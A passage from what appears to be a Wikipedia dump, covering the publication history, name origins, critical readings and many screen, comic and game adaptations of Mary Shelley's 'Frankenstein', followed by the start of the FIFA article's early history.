Despite the reviews, ''Frankenstein'' achieved an almost immediate popular success. It became widely known especially through melodramatic theatrical adaptations &amp;ndash; Mary Shelley saw a production of ''Presumption; or The Fate of Frankenstein'', a play by Richard Brinsley Peake, in 1823. A French translation appeared as early as 1821 (''Frankenstein: ou le Prométhée Moderne'', translated by Jules Saladin).

The second edition of ''Frankenstein'' was published on [[11 August]] [[1823]] in two volumes (by G. and W. B. Whittaker), and this time credited Mary Shelley as the author.

On [[31 October]] [[1831]], the first &quot;popular&quot; edition in one volume appeared, published by Henry Colburn &amp; Richard Bentley. This edition was quite heavily revised by Mary Shelley, and included a new, longer preface by her, presenting a somewhat embellished version of the genesis of the story. This edition tends to be the one most widely read now, although editions containing the original 1818 text are still being published.

The revised edition was changed in several significant ways: any indication that Frankenstein's monster was created by vice was removed, and the text details a benevolent creator who creates the monster merely for the purposes of science. Suggestions of an incestuous relationship between Victor and Elizabeth are also removed, by making Elizabeth an adopted child of the Frankensteins.

==Name origins==
===The creature===
{{main|Frankenstein's Monster}}
The creature &amp;ndash; &quot;my hideous progeny&quot; &amp;ndash; was not given a name by Mary Shelley, and is only referred to by words such as 'monster', 'creature', 'daemon', and 'wretch'.

After the release of [[James Whale]]'s popular 1931 film ''Frankenstein'', the filmgoing public immediately began speaking of the monster itself as Frankenstein. A reference to this occurs in ''[[The Bride of Frankenstein]]'' (1935) and in several subsequent films in the series, as well as in film titles such as ''[[Abbott and Costello Meet Frankenstein]].''

Some justify referring to the Creature as &quot;Frankenstein&quot; by pointing out that the Creature is, so to speak, Victor Frankenstein's offspring.

===Frankenstein===
Mary Shelley always maintained that she derived the name &quot;Frankenstein&quot; from a dream-vision, yet despite these public claims of originality, the name and what it means has been a source of many speculations. Literally, in [[German language|German]], the name ''Frankenstein'' means ''stone of the [[Franks]]''. Frankenstein is the former name of [[Ząbkowice Śląskie]], a city in [[Silesia]], and the historical home of the Frankenstein family. 

More recently, [[Radu Florescu]], in his ''In Search of Frankenstein'', argued that Mary and Percy Shelley stayed at Castle Frankenstein on their way to Switzerland, near [[Darmstadt]] along the Rhine, where a notorious alchemist named [[Johann Conrad Dippel|Konrad Dippel]] had experimented with human bodies, but that Mary suppressed mentioning this visit, to maintain her public claim of originality. However, this theory is not without critics; Frankenstein expert [[Leonard Wolf]] calls it an &quot;unconvincing...conspiracy theory&quot; (Wolf, p.20).

===Victor===
A likely interpretation of the name Victor derives from the poem ''[[Paradise Lost]]'' by [[John Milton]], a great influence on Shelley (a quotation from ''Paradise Lost'' is on the opening page of ''Frankenstein'' and Shelley even allows the monster himself to read it). Milton frequently refers to God as &quot;the Victor&quot; in ''Paradise Lost'', which Shelley obviously sees Victor as playing God by creating life.  In addition, Shelley's portrayal of the monster owes much to the character of [[Satan]] in ''Paradise Lost''; indeed, the monster says, after reading the epic poem, that he sympathizes with Satan's role in the story.

Victor was also a pen name of Percy Shelley's, as in the collection of poetry he wrote with his sister Elizabeth, ''Original Poetry by Victor and Cazire''. [http://www.litencyc.com/php/sworks.php?rec=true&amp;UID=3010] There is speculation that one of Mary Shelley's models for Victor Frankenstein was Percy, who at Eton had &quot;experimented with electricity and magnetism as well as with gunpowder and numerous chemical reactions,&quot; and whose rooms at Oxford were filled with scientific equipment. [http://www.dickinson.edu/~nicholsa/Romnat/pbshelley.htm]

===&quot;Modern Prometheus&quot;===
''The Modern Prometheus'' is the novel's subtitle (though  some modern publishings of the work now drop the subtitle, mentioning it only in an introduction). [[Prometheus]], in Greek mythology, was the Titan who created mankind, and Victor's work by creating man by new means obviously reflects that creative work. Prometheus was also the bringer of fire who took fire from heaven and gave it to man. [[Zeus]] then punished Prometheus by fixing him to a rock and each day a predatory bird came to devour his liver. 

Prometheus was also a myth told in Latin but was a very different story. In this version Prometheus makes man from clay and water, again a very relevant theme to Frankenstein as Victor rebels against the laws of nature and as a result is punished by his creation.

Prometheus' relation to the novel can be interpreted in a number of ways. For Mary Shelley on a personal level, Prometheus was not a hero but a devil, who she blamed for bringing fire to man and thereby seducing the human race to the vice of eating meat (fire brought cooking which brought hunting and killing) (Wolf, p. 20). For Romance era artists in general, Prometheus' gift to man compared with the two great utopian promises of the 18th century: the [[Industrial Revolution]] and the [[French Revolution]], containing both great promise and potentially unknown horrors.

Byron was particularly attached to the play ''[[Prometheus Bound]]'' by Aeschylus, and [[Percy Shelley]] would soon write ''[[Prometheus Unbound]]''.

==Analysis== 
''Frankenstein'' is in some ways [[allegory|allegorical]], and was conceived and written during an early phase of the [[Industrial Revolution]], at a time of dramatic change. Behind Frankenstein's experiments is the search for ultimate power or godhood: what greater power could there be than the act of creation of life? Frankenstein and his utter disregard for the human and animal remains gathered in his pursuit of power can be taken as symbolic of the rampant forces of ''[[laissez-faire]]'' [[capitalism]]  extant at the time and their basic disregard for human dignity. Moreover, the creation rebels against its creator: a clear message that irresponsible uses of [[technologies]] can have unconsidered consequences.

Another popular critique of the novel ''Frankenstein'' views the tale as a journey of [[pregnancy]] and the common fears of women in Shelley's day of frequent [[stillborn]] births and maternal deaths due to complications in delivery. Mary Shelley experienced the horrors of a stillborn birth the prior year. Victor Frankenstein is often fearful of the release of the Monster from his control, when it is free to act independently in the world and affect it for better or worse. Also, during much of the novel Victor fears the creature's desire to destroy him by killing everyone and everything most dear to him. However it must be noted that the creature was not born evil, but only wanted to be loved by its creator, by other humans, and to love a sentient creature like itself. It was mankind who taught it evil, Victor rejected it, and the creature's poor treatment by villagers taught it how to be evil. In this way the creature represents the natural fears of bringing a new innocent life into the world and raising it properly so that it does not become a monster.

Representing a minority opinion, Arthur Belefant in his 116-page book, ''Frankenstein, the Man and the Monster'' (1999, ISBN 0962955582) contends that Mary Shelley's intent was for the reader to understand that the Creature never existed, and  Victor Frankenstein committed the three murders. In this interpretation, the story is a study of the moral degradation of Victor, and the &quot;science-fiction&quot; aspects of the story are Victor's imagination. Note that according to the novel, Victor has a clear alibi for at least one of the murders committed by the Monster &amp;ndash; it is proved that he was on a different island at the time of the killing.

[[Alchemy]] was a very popular topic in Shelley's world. In fact, it was becoming an acceptable idea that humanity could infuse the spark of life into a non-living thing ([[Luigi Galvani]]'s experiments, for example). The scientific world just after the Industrial Revolution was delving into the unknown, and limitless possibilities also caused fear and apprehension for many as to the consequences of such horrific possibilities.

The book also discusses the ethics of creating life and contains innumerable [[biblical]] allusions in this context.

In the 1931 film &quot;Frankenstein,&quot; [[Boris Karloff]] plays the part of the Creature, and the scientist, played by [[Colin Clive]], is renamed Henry Frankenstein. Shelley's character Henry Clerval does not appear in the film at all, which eliminates Victor's foil altogether.  However there is a character called Victor who is after Elizabeth, Frankenstein's fiancee. Changing the doctor's name from Victor also eliminates some original irony, inasmuch as the novel ends after exposing the doctor's utter failure and destruction. Since this film, the horror culture has confused modern audiences into replacing the scientist's name with his freakish creation. This event has stimulated much conversation in the literary criticism of Shelley's work. Attributing the name of the scientist to his creation reveals a deeper connection between the two, especially when the scientist realizes the great danger that the creation presents to himself and to the world. However, it also obscures Shelly's original intention that the creature was not an &quot;evil creation&quot;, it was born an innocent blank slate, it was Victor's rejection of the creature that taught it to be evil.  Likewise, the film takes a moralising and religious tone that was more or less absent in the original novel.

==Film adaptations==
===Silent Era===
The first film adaptation of the tale, ''[[Frankenstein (1910 film)|Frankenstein]]'', was done by [[Edison Studios]] in 1910, with [[Charles Stanton Ogle|Charles Ogle]] as the Monster. For many years this film was believed lost until a print was discovered by a collector in the 1950s. This was followed soon after by another adaptation entitled ''[[Life Without Soul]]'' and at least one [[Europe]]an film version.  

===Universal Pictures===
The most famous adaptation of the story, [[1931 in film|1931]]'s ''[[Frankenstein (1931 film)|Frankenstein]]'', was produced by [[Universal Studios|Universal Pictures]], directed by [[James Whale]], and starred [[Boris Karloff]] as the monster. The film has been selected for preservation in the [[United States]] [[National Film Registry]]. Its first sequel, ''[[Bride of Frankenstein]]'' ([[1935 in film|1935]]), was also directed by Whale and is considered by many to contain the most spectacular laboratory scene of any of the series. ''[[Son of Frankenstein]]'' followed in [[1939 in film|1939]]. Later efforts by Universal rapidly degenerated into farce, culminating in the outright comedy ''[[Abbott and Costello Meet Frankenstein]]''. The Universal films in which The Monster appears (and the actor who played him) are:
# ''[[Frankenstein (1931 film)|Frankenstein]]'' (1931 - Boris Karloff)
# ''[[Bride of Frankenstein]]'' (1935 - Karloff)
# ''[[Son of Frankenstein]]'' (1939 - Karloff)
# ''[[The Ghost of Frankenstein]]'' ([[1942 in film|1942]] - [[Lon Chaney Jr.]])
# ''[[Frankenstein Meets the Wolf Man]]'' ([[1943 in film|1943]] - [[Bela Lugosi]] with stuntman [[Eddie Parker]] in some scenes including a close-up)
# ''[[House of Frankenstein (1944 film)|House of Frankenstein]]'' (1944 - [[Glenn Strange]])
# ''[[House of Dracula]]'' ([[1945 in film|1945]] - Strange)
# ''[[Abbott and Costello Meet Frankenstein|Bud Abbott Lou Costello Meet Frankenstein]]'' ([[1948 in film|1948]] - Strange). This film is usually referred to as ''Abbott and Costello Meet Frankenstein'' but the title given above is its official title according to the [[Internet Movie Database]].

===Hammer Films===
In [[Great Britain]], a long-running series by [[Hammer Films]] focused on the character of Dr. Frankenstein (usually played by [[Peter Cushing]]) rather than his monsters. [[Peter Cushing]] played Dr. Frankenstein in all of the films except for ''Horror of Frankenstein'' in which the character was played by [[Ralph Bates]]. Cushing also played a creation in ''Revenge of Frankenstein''. [[David Prowse]] played two different Monsters. The Hammer Films series (and the actor playing The Monster) consisted of:
# ''[[The Curse of Frankenstein]]'' ([[1957 in film|1957]] - [[Christopher Lee]])
# ''[[The Revenge of Frankenstein]]'' ([[1958 in film|1958]] - two Monsters: [[Michael Gwynn]] and [[Peter Cushing]])
# ''[[The Evil of Frankenstein]]'' ([[1964 in film|1964]] - [[Kiwi Kingston]])
# ''[[Frankenstein Created Woman]]'' ([[1967 in film|1967]] - [[Susan Denberg]])
# ''[[Frankenstein Must be Destroyed]]'' ([[1969 in film|1969]] - [[Freddie Jones]])
# ''[[The Horror of Frankenstein]]'' ([[1970 in film|1970]] - [[David Prowse]])
# ''[[Frankenstein and the Monster from Hell]]'' ([[1974 in film|1974]] - David Prowse)

===Other film versions===
* 1957: [[American International Pictures]] ([[AIP]]) released the low-budget ''[[I Was a Teenage Frankenstein]]'' in November of 1957, a few months after their wildly successful ''[[I Was a Teenage Werewolf]]''. In a desperate and vain attempt to be viewed as a great scientist, an unscrupulous professor creates a monster out of parts of teenagers killed in a car crash, then later directs his creation to rip the head off a good-looking teenager to replace the monster's disfigured one. [[Whit Bissell]] stars as Prof. Frankenstein, [[Gary Conway]] plays the creature. 

* 1958: Another wildly differing adaptation is the 1958 film ''[[Frankenstein 1970]]'', which focuses on the themes of nuclear power, impotence, and the film industry.  [[Boris Karloff]] stars as Dr. Frankenstein, who harvests the bodies of actors to create a clone of himself using his nuclear-powered laboratory.  His intention is to have this clone carry on his genes into future generations.

* 1965: An extremely tangential adaptation is [[Ishiro Honda]]'s [[1965]] [[tokusatsu]] [[kaiju]] film ''[[Frankenstein Conquers the World]]'' (''Furankenshutain tai Chitei Kaijû Baragon''), produced by [[Toho|Toho Company Ltd]].  The film's prologue is set in [[World War II]], the monster's heart is stolen by [[Nazi]]s from the laboratory of Dr. Reisendorf in war-torn [[Frankfurt]], and taken to Imperial [[Japan]].  Immortal, the heart survives the atomic bombing of [[Hiroshima]] and is eaten by a savage child survivor . . .  and after discovered by scientists in Present Day Japan, he feeds on protein, eventually growing into a giant humanoid monster that breaks loose and battles the subterranean monster [[Baragon]], which was destroying villages and devouring people and animals.

* 1965: ''[[Frankenstein Meets the Spacemonster]]''.  Martians come to Earth to steal our women, with the goal of repopulating their planet.  When they cause a NASA space craft to crash, the pilot (Captain Frank Saunders)  becomes horribly disfigured.  Becoming a &quot;Frankenstein&quot; like monster, it's up to him to save the women of Earth.  A cult favorite, made popular because of the B-movie cliches: low budget, stock footage, monsters in bad rubber suits, and obligatory blondes in swimsuits.

* 1966: ''[[Jesse James Meets Frankenstein's Daughter]]''. Director [[William Beaudine]]'s Sci-Fi\Western contribution has what would actually be Frankenstein's ''grand''daughter, Maria Frankenstein, cobbling a monster out of [[Jesse James]]' ([[John Lupton]]) brawny partner-in-crime, Hank Tracy ([[Cal Bolder]]), after an ambush by the law. Frankenstein re-names her creation [[Igor]]. [[Narda Onyx]] plays Maria Frankenstein.  

* 1966: ''[[War of the Gargantuas]]'' (''Furankenshutain no Kaijû: Sanda tai Gaira''), also directed by Honda, is a sequel to the above film (although this is obscured in the US version), with the Frankenstein Monster's severed cells growing into two giant humanoid brother monsters: [[Brown Gargantua|Sanda]] (the Brown Gargantua), the strong and gentle monster raised by scientists in his youth, and [[Green Gargantua|Gaira]] (the Green Gargantua), the violent and savage monster who devours humans.  The two monsters eventually battle each other in [[Tokyo]].

* 1976: ''Victor Frankenstein'' (''The Terror of Frankenstein,'') was the first version to truly attempt to remain faithful to Mary Shelley's novel, though it was generally discarded as a failed and slow-moving attempt.

* 1981: Another Japanese version, this one animated, was ''Kyofu densetsu: Kaiki! Furankenshutain'' (called in the U.S. simply ''Frankenstein,'') released in 1981. In this violent, adult-oriented film, the Creature was portrayed as a sort of tragic superhero.

* 1985: ''[[The Bride (1985 film)|The Bride]]'' was an adaptation directed by [[Franc Roddam]]. It stars [[Clancy Brown]] as the monster, with rocker [[Sting]] as Dr. Charles Frankenstein. The plot features the Monster wandering about Europe with a tragic circus midget ([[David Rappaport]]) while the Doctor himself engages in a Pygmalion-inspired relationship with a female creation, the eponymous monster's bride played by [[Jennifer Beals]]. A love triangle between Doctor, Monster and Bride provides the film's pivotal conflict.

*1990: ''Frankenstein Unbound'' was a science fiction movie based on the novel by Brian Aldiss. In it, a scientist travels back in time to meet Victor Frankenstein and his Creature, as well as Mary Shelley herself.

* 1994: ''[[Mary Shelley's Frankenstein]]'' was directed by [[Kenneth Branagh]], who also portrayed Victor Frankenstein. It featured a star cast with [[Robert De Niro]] as the monster, [[Tom Hulce]] as Henry, [[John Cleese]] as Professor Waldman, [[Helena Bonham Carter]] as Elizabeth, and [[Aidan Quinn]] as Captain Robert Walton.  As its title suggests, Branagh strived for an adaption faithful to Mary Shelley's original novel. 

* 2004: ''[[Van Helsing]]''. This film was a reinvention of the famous Universal stable of monsters of the 1930s and 1940s. [[Shuler Hensley]] plays the Monster who, contrary to usual practice, is directly referred to by the name Frankenstein. The portrayal of the creature in this movie--intelligent, articulate and sympathetic--is somewhat close to the portrayal in the book.

===Trivia===
*Depictions of The Monster have varied widely, from mindless killing machines (as in many of the Hammer films) to the depiction of The Monster as a kind of [[tragic hero]] (closest to the Shelley version in behavior) in ''Mary Shelley's Frankenstein'' and ''Van Helsing''.

*Three films have depicted the genesis of the ''Frankenstein'' story in 1816: ''[[Gothic (film)|Gothic]]'' directed by [[Ken Russell]] ([[1986]]), ''[[Haunted Summer]]'' directed by [[Ivan Passer]] ([[1988]]) and ''[[Remando al viento]]'' (English title: ''Rowing with the Wind'') directed by [[Gonzalo Suárez]] (1988).

*Certainly among the goriest Frankenstein movies was [[Andy Warhol]]'s ''[[Flesh for Frankenstein]]'' from 1973 [http://www.imdb.com/title/tt0071508/]. This film was paired with Warhol's ''[[Blood for Dracula]]''. Both of these movies were satirical in the overabundance of shock and gore. 

*Victor Frankenstein studied in the Bavarian city of [[Ingolstadt]]. The medical department of the [[University of Ingolstadt|University]] was famous up to the year [[1800]], when the University was closed by royal order.

*The regeneration sequence of the seventh [[Doctor (Doctor Who)|Doctor]], [[Sylvester McCoy]], into the eighth incarnation, [[Paul McGann]], in the 1996 film, ''[[Doctor Who (1996)|Doctor Who]]'', is set in a hospital morgue. The night attendant at the morgue is watching the 1931 ''[[Frankenstein (1931 film)|Frankenstein]]'' in the next room, and scenes in which the monster is brought to life are intercut with images of the Doctor's &quot;resurrection&quot;.

===Parodies and satires===
* The [[Mel Brooks]] and [[Gene Wilder]] comedy, ''[[Young Frankenstein]]'' (1974), borrows heavily from the first three Universal ''Frankenstein'' films, especially ''[[Son of Frankenstein]]''. The production used many of James Whale's original laboratory set pieces and employed the technical contributions of their original creator, [[Kenneth Strickfaden]].

*''[[The Rocky Horror Picture Show]]'' (1975) was a musical parody of the story. In this twisted comedic tale, Dr. Frank N. Furter creates a creature for his own pleasure and finds he cannot control the creature's lust.

* ''Frankenhooker'' (1990) is a parody of Universal's films in which Frankenstein gathers body parts from various streetwalkers in order to build the &quot;perfect&quot; woman.

==Television adaptations==
The Frankenstein story and its elements have been adapted many times for television:

* Universal produced a television sitcom from 1964 to 1966 for [[CBS]] entitled ''[[The Munsters]]'' with [[Fred Gwynne]] as [[Herman Munster]], a character physically resembling the Universal's cinematic depiction of Frankenstein's monster, who was the patriarch of a family of kindly monsters.  The rest of the family included a grandfather resembling the Universal Dracula (who may actually ''be'' Dracula), a vampire wife, and a werewolf son.  The Munsters' house at 1313 Mockingbird Lane can still be seen on the Universal Studios' backlot tour at Universal Studios in [[Universal City]], [[California]].
* An infamous half-hour segment of ''[[Tales of Tomorrow]]'' with Lon Chaney Jr. as the monster. This version, which was broadcast live, is notable for the fact that Chaney believed it to be a dress rehearsal rather than an actual broadcast, thereby resulting in what appeared to be bizarre behavior on the air. It has been suggested that Chaney was also inebriated at the time, but this has not been confirmed.
* An unaired pilot for a Hammer TV series called ''[[Tales of Frankenstein]]'' starring [[Anton Diffring]] as the Baron and [[Dan McGowan]] as the monster
* A British version from the 1960s with [[Ian Holm]] as the Creature
* Although not an adaptation of the story, an early 1960s episode of ''[[Route 66 (TV series)|Route 66]]'' saw Boris Karloff wearing his classic Frankenstein monster make-up one last time for a special Halloween episode.
* [[Milton the Monster]] (1965-1967) was a cartoon character developed shortly after The Munsters about a kind-hearted Frankenstain monster who famously &quot;flipped his lid&quot; (emitted steam like a whale's blowhole) when angered, and who was constantly nearly kicked out of the lab by his scheming creator.
* A 1973 Universal production, ''[[Frankenstein: The True Story]]'' was more an amalgamation of various concepts from previous films than a direct adaptation of the novel.  It starred [[Leonard Whiting]] as Frankenstein and [[Michael Sarrazin]] as the Creature, with a star supporting cast including [[James Mason]], [[David McCallum]], [[John Gielgud]], [[Ralph Richardson]] and [[Jane Seymour]].
* [[Dan Curtis]]' 1973 adaptation with [[Robert Foxworth]] as Frankenstein and [[Bo Svenson]] as the Creature.
* A 1984 [[BBC]] version starring [[Robert Powell]] as Victor, [[David Warner (actor)|David Warner]] as his creature, and [[Carrie Fisher]] as the doomed Elizabeth.
* A 1992 production for the [[United States|American]] [[Turner Network Television|TNT]] cable network, with [[Patrick Bergin]] as Victor and [[Randy Quaid]] as his hapless creation.
* A 2004 adaptation of the Frankenstein story created for the American [[Hallmark Entertainment Network]] starred [[Alec Newman]] as Frankenstein and [[Luke Goss]] as the creature.  It won the [[Emmy Award]] for Outstanding Makeup that year.  
* A second 2004 production for the American [[USA Network]] starred [[Thomas Kretschmann]] as Victor and [[Vincent Perez]] as his original creature.  It was not a direct adaptation but a [[postmodern]] [[Gothic_novel|gothic]] reinvention set in present-day [[New Orleans]] that recast Victor as the villain and the creature as a tragic hero determined to stop him; the primary action involves two police detectives ([[Parker Posey]] and [[Adam Goldberg]]) who enlist the aid of the creature (&quot;Deucalion&quot; in this version) to stop a serial killer who may be one of Victor's later creations.  It was produced by [[Martin Scorsese]] and based on a treatment by [[Dean Koontz]]. The film was originally intended as the pilot for an ongoing series, but this was not successful.  Koontz is in the process of developing the concept into a series of novels {''Dean Koontz's Frankenstein: Prodigal Son'' and ''Dean Koontz's Frankenstein: City of Night'' are the first two volumes).
* In the TV show ''[[Late Night with Conan O'Brien]]'', Frankenstein's monster is a recurring character in the segment &quot;[[Frankenstein Wastes A Minute of Our Time]]&quot;. 
* As played by [[Phil Hartman]], The Monster was also a popular recurring comedic character on [[Saturday Night Live]] in the early 1990s, often delivering the line, &quot;Fire bad!&quot;
* ''[[Buffy the Vampire Slayer]]'' has also faced &quot;Frankensteinian&quot; creations: a season two creation was a reanimated high school jock (killed in a car accident) who only wanted his brother/creator to build him a mate; the season four [[Big Bad]] was Adam, a conglomeration of robot, human, and demon parts created by a government scientist whom Adam regarded as his mother.
* A season five episode of ''[[The X-Files]]'', &quot;Post-Modern Prometheus,&quot; played up a campy re-telling of the Frankenstein legend updated with genetic engineering technology. The episode, the only one of the series filmed exclusively in black and white, parodies the film adaptations of the legend as the creature, shunned by the mad scientist who created him, seeks a mate in a small town who has immortalized him as an urban legend and comic book villain; the episode reaches its campy conclusion when the women of the town take their monster-babies on [[Jerry Springer]] and the monster finds his true love by attending a [[Cher]] concert. The monster is played by [[Chris Owens]], who had already played a younger version of the [[Cigarette-Smoking Man]] and would go on to play his son in season six, and the scientist was portrayed by [[Seinfeld]] alum [[John O'Hurley]].
* In the 1994 [[animated television series]] ''[[Monster Force]]'' Frankenstein's monster alias &quot;Frankenstein&quot; or &quot;the Monster&quot; becomes humanity's ally in a desperate fight against evil Creatures of the Night.
* The children's animated series ''[[Arthur (cartoon)|Arthur]]'' has an episode depicting a re-enactment of the night the novel was created. Titled ''Fernkenstein's Monster'', it was described as: &quot;Inspired by Mary Shelley's ''Frankenstein'', Fern tells a tale so scary that Arthur and the gang become afraid of her. Can Fern prove her skills as a writer and create a different story that's fun instead of frightening?&quot;
* The 2000 [[anime]] television series ''[[Argento Soma]]'' draws a large amount of inspiration from ''Frankenstein''. The show's plotline revolves around an ambitious scientist assembling a giant silver creature from scattered components. The giant (aptly nicknamed &quot;Frank&quot;) possesses a tender and compassionate nature but has a bizarre and hideous exterior and the potential to inflict death and destruction.
* The ''[[Duck Dodgers]]'' episode &quot;Castle High&quot; revolved around [[Daffy Duck|the main character]] explaining to I.Q. High what had happened to his castle, the flashback based off of the story.

==Other adaptations==
===Radio===
In 1938, [[George Edwards (Actor)|George Edwards]] produced a 13-part, 3-hour series for radio. It follows the structure and spirit of novel closely.

Two other versions were made in both 1944 and 1955.

===Books and comic books===
[[Image:MonsterofFrankenstein1.jpg|thumb|220px|left|Marvel Comics' ''The Monster of Frankstein'' #1 (Jan. 1973), the premiere of a five-issue adaptation of the novel by writer [[Gary Friedrich]] and artist [[Mike Ploog]].]]
The story of ''Frankenstein'', or to be precise, &quot;[[Frankenstein's Monster]]&quot;, has formed the basis of many original novels over the years, some of which were considered sequels to Shelley's original work, and some of which were based more upon the character as portrayed in the Universal films. 

The Monster has also been the subject of many comic book adaptations, ranging from the ridiculous (a 1960s series portraying The Monster as a superhero; see below), to more straightforward interpretations of Shelley's work, such [[Marvel Comics]]' ''The Monster of Frankenstein'', the first five issues of which (Jan.-Sept. 1973) contained as a faithful (in spirit at least) retelling of Shelley's tale before transferring The Monster into the present day and pitting him against ''[[James Bond]]''-inspired evil organizations. The artist, [[Mike Ploog]], recalled, &quot;I really enjoyed doing ''Frankenstein'' because I related to that naive monster wandering around a world he had no knowledge of — an outsider seeing everything through the eyes of a child.&quot; [http://www.twomorrows.com/comicbookartist/articles/02ploog.html]

In 1940, [[cartoonist]] [[Dick Briefer]] wrote and drew a Frankenstein's-monster comic book title for [[Crestwood Publications]]'s ''Prize Comics'', beginning with a standard [[horror fiction|horrific]] version, updated to contemporary America, but then in 1945 crafting an acclaimed and well-remembered comedic version that spun-off into his own title, ''Frankenstein Comics''. The series ended with issue #17 (Jan.-Feb. 1949, but was revived as a horror title from #18-33 (March 1952 - Oct.-Nov. 1954).

[[Dell Comics]] published a [[superhero]] version of the character in the comic book series ''[[Frankenstein (superhero)|Frankenstein]]'' #2-4 (Sept. 1966 - March 1967; issue #1, published Oct. 1964, featured a very loose adaptation/update of the 1931 Universal Pictures movie). 

2004 saw the debut of ''[[Doc Frankenstein]]'', written by the [[Wachowski brothers|Andy and Larry Wachowski]], the writer-director team of ''[[The Matrix]]''), and drawn by [[Steve Skroce]]. The book tells the continuing adventures of Frankeinstein's monster, who has since adopted his creator's name and became a hero through the ages.

In 2005, [[Dead Dog Comics]] produced a sequel to the Frankenstein mythos with ''[[Frankenstein: Monster Mayhem]]'', written by [[R. D. Hall]] with art by [[Jerry Beck]]. In Dead Dog's version, the monster sets out to create his own [[Necropolis]].

[[DC comics]] also has made use of the character. He appeared as a backup feature in the [[Phantom Stranger]] stories written by [[Len Wein]]. [[Grant Morrison]] revived the character in his ''[[Seven Soldiers of Victory]]''. Here, Frankenstein is a Milton-quoting, [[gun]]-toting warrior battling to prevent the end of the world.

Japanese [[Mangaka]] [[Junji Ito]] also wrote a [[Manga]] faithfully adapting the story of the original novel.

===Videogames===
Frankenstein's monster appears in the [[Konami]] [[Computer and video games|video game]] series ''[[Castlevania]]'', numerous times, with its name being &quot;The Monster&quot; or &quot;The Creature&quot;, often as a [[boss (video games)|major boss]], but sometimes as a regular enemy.

Several other video game version are also available, including ''Frankenstein: Through the Eyes of the Monster - A Cinematic Adventure Starring Tim Curry'' (PC) and ''Mary Shelley's Frankenstein,'' (Super Nintendo, Sega Genesis, Sega CD) based on the 1994 film of the same name. For the original Nintendo (NES) was ''Frankenstein: The Monster Returns!'' and for the Atari 2600, ''Frankenstein's Monster.''

A Frankenstein-like monster is a playable character in the fighting game series ''[[Darkstalkers]]'', along with many other monsters from popular culture.

==Influence==
[[Science fiction]] author [[Isaac Asimov]] coined the term ''[[Frankenstein complex]]'' for the fear of robots.

''Frankenstein'' or ''Franken-'' is sometimes used for nuancing artificial monstruosity as in &quot;[[frankenfood]]&quot;, a [[politically charged]] name of [[genetically manipulated]] foodstuff.

In 1971, General Mills Cereals introduced &quot;[[Franken Berry]]&quot;, a strawberry-flavored corn cereal whose mascot is a variation of the Monster from the 1931 movie.  Franken Berry has also appeared in FOX's &quot;[[Family Guy]]&quot;.

In [[David Brin]]'s science-fiction novel ''[[Kiln People]]'', defective [[golem]]s that become autonomous are called &quot;frankies&quot;.

In [[The Frankenstein Papers]] [[Fred Saberhagen]] retells Shelley's story from the creature's point of view.

==See also==
*[[Frankenstein complex]]
*[[Frankenstein's Monster]]
*[[R.U.R. (Rossum's Universal Robots)]]

==Further reading==
*Belefant, Arthur (1999). ''[http://www.frankensteinmanmonster.com Frankenstein, the Man and the Monster]''. Digital book online, not free.
*Comroe, Julius H., Jr. (1975).  [http://www.thoracic.org/aboutats/retrospectroscope/adobe/5-Frankenstein,Pickwick,andOndine.pdf Retrospectroscope article in the American Thoracic Society website]. Analyzes errors in the re-telling of Mary Shelley's original plot.
* Garrett, Martin (2002). ''Mary Shelley''.
* Lylys, William H. (1975). ''Mary Shelley, an Annotated Bibliography''
* [[Muriel Spark|Spark, Muriel]]. ''Mary Shelley''
* Wolf, Leonard (2004). ''The Essential Frankenstein''. ISBN 0743498062. The complete original text of Mary Shelley's novel, fully annotated with thousands of facts and legends.

==External links==
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&lt;div style=&quot;float: left;&quot;&gt;[[Image:wikisource-logo.jpg|50px|none|Wikisource]]&lt;/div&gt;
&lt;div style=&quot;margin-left: 60px;&quot;&gt;[[Wikisource]] has original text related to this article:
&lt;div style=&quot;margin-left: 10px;&quot;&gt;'''''[[:s:Frankenstein, or the Modern Prometheus|Frankenstein]]'''''&lt;/div&gt;
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*{{gutenberg|no=84|name=Frankenstein}} (omits the prefaces)
*[http://librivox.org/frankenstein-or-modern-prometheus-by-mary-w-shelley/ Free audiobook] from [http://librivox.org LibriVox] (without prefaces and edition information)
*[http://www.literature.org/authors/shelley-mary/frankenstein/ Online Literature Library] (w/ the prefaces)
*[http://www.rc.umd.edu/reference/chronologies/mschronology/mws.html Mary Wollstonecraft Shelley Chronology &amp; Resource Site]
*[http://rss.duchs.com/shelley/frankenstein-or-the-modern-prometheus/ RSS Version] [[RSS (file format)|RSS]] Version of the Text
*[http://www.sparknotes.com/lit/frankenstein/ Online Sparknotes for Frankenstein]
*[http://members.inode.at/359743/frankenstein/ Frankenstein Castle] - site devoted to the Frankenstein films.
*[http://web.quipo.it/frankenstein Frankenstein: A New Reality] - examination of the book and its influences.
*[http://www.toonopedia.com/franken1.htm Toonopedia] entry on the early Frankenstein comic books.

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[[Category:Science fiction novels|Frankenstein]]
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    <title>FIDE</title>
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    <title>Fédération Internationale de Basketball</title>
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  <page>
    <title>FIFA</title>
    <id>11049</id>
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      <text xml:space="preserve">[[Image:FIFA.png|right]]

The '''Fédération Internationale de Football Association''', universally known by its acronym '''FIFA''', is the international [[sport governing body|governing body]] of [[football (soccer)]]. Its headquarters are in [[Zürich]], [[Switzerland]] and its current [[List of FIFA presidents|president]] is [[Sepp Blatter]].

==History==
{{main|History of FIFA}}

The need for a single body to oversee the worldwide game became apparent at the beginning of the [[20th century]] with the increasing popularity of international fixtures. The English [[The Football Association|Football Association]] had chaired many discussions on setting up an international body, but was perceived as making no progress. It fell to seven other European countries to band together to form this association. FIFA was founded in [[Paris]] on [[May 21]], [[1904]] - the [[French language|French]] name and acronym persist to this day, even in [[English language|English]]-speaking countries. Its first president was [[Robert Guérin]].

FIFA presided over its first international competition in [[1906]], however it met with little approval or success. This, in combination with economic factors, led to the swift replacement of Guérin with [[Daniel Burley Woolfall]] from [[England]], by now a member association. The next tournament staged, the football competition for the [[Football at the 1908 Summer Olympics|1908 Olympics in London]] was more successful, despite the presence of professional footballers, contrary to the founding principles of FIFA.

Membership of FIFA expanded beyond Europe with the application of [[South African Football Association|South Africa]] in [[1909]], [[Argentine Football Association|Argentina]] in [[1912]] and the [[United States Soccer Federation|United States]] in [[1913]].

FIFA however floundered during [[World War I]] with many players sent off to war and the possibility of travel for international fixtures severely limited. Post-war, following the death of Woolfall, the organisation fell into the hands of Dutchman [[Carl Hirschmann]]. It was saved from extinction, but at the cost of the withdrawal of the [[Home Nations]], who cited an unwillingness to participate in international competitions with their recent World War enemies.

The FIFA collection is held by the [[National Football Museum]] in [[England]].

==The World Cup==
